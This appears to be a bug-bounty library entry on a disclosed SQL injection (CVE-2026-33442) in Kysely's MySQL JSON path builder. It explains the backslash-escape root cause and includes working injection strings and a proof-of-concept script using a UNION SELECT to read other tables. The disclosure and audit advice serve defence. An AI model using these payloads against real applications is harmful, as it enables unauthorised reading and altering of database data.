# Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.

Kysely's sanitizeStringLiteral doubles single quotes but not backslashes, so MySQL's BACKSLASH_ESCAPES mode lets a crafted JSON path key break out and inject SQL.

- Payout: Research
- Severity: high
- Program: Kysely
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33442
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fr9j-6mvq-frcv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fr9j-6mvq-frcv
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs tech:payment technique:incomplete-fix technique:source-review vuln:sqli

**Target:** Kysely query compiler JSON path builder (.key/.at) on MySQL dialect
**Root cause:** sanitizeStringLiteral only doubles single quotes and never escapes backslashes; MysqlQueryCompiler does not override it, so under MySQL's default BACKSLASH_ESCAPES mode a trailing backslash consumes the first of the doubled quotes, leaving the second to terminate the literal.
**Steps:**
1. Call `.key()` on a JSON path builder with attacker-controlled input, e.g. `\' OR 1=1 -- `
2. Compiler wraps path in single quotes and sanitizeStringLiteral doubles the `'`, producing `'$.\'' OR 1=1 --'`
3. MySQL parses `\'` as an escaped quote, the next `'` terminates the string, and ` OR 1=1 --` executes as SQL
4. Escalate with UNION: `\' OR 1=1) UNION SELECT data FROM users -- ` to read arbitrary tables
**How found:** Code review of the compiler's escaping path: noticed sanitizeStringLiteral only handles `'` and that MysqlQueryCompiler overrides sanitizeIdentifier but not sanitizeStringLiteral, then reasoned about MySQL BACKSLASH_ESCAPES interaction with the doubled quote; existing injection test only covered plain single quotes.
**Exploitation:** Any app passing user input to `.key()`/`.at()` on MySQL compiles injected SQL; UNION-based payloads exfiltrate arbitrary table data, and with multipleStatements or write privileges can modify/delete data or run admin operations.
**Escalation:** UNION SELECT to read other tables; stacked queries when multipleStatements:true; privilege-dependent admin operations.
**Insight:** When auditing SQL builders, check whether string-literal escaping is dialect-aware: a generic `''` doubling is unsafe on MySQL/MariaDB default mode, so any wrapper that quotes user data inside a literal (JSON paths, LIKE patterns, regexes) needs backslash escaping too.

## Proof of concept (copied exactly from the original report)

**Attack using backslash escape in .key()**

```
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results
```

**Compiled SQL demonstrating bypass**

```
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL
```

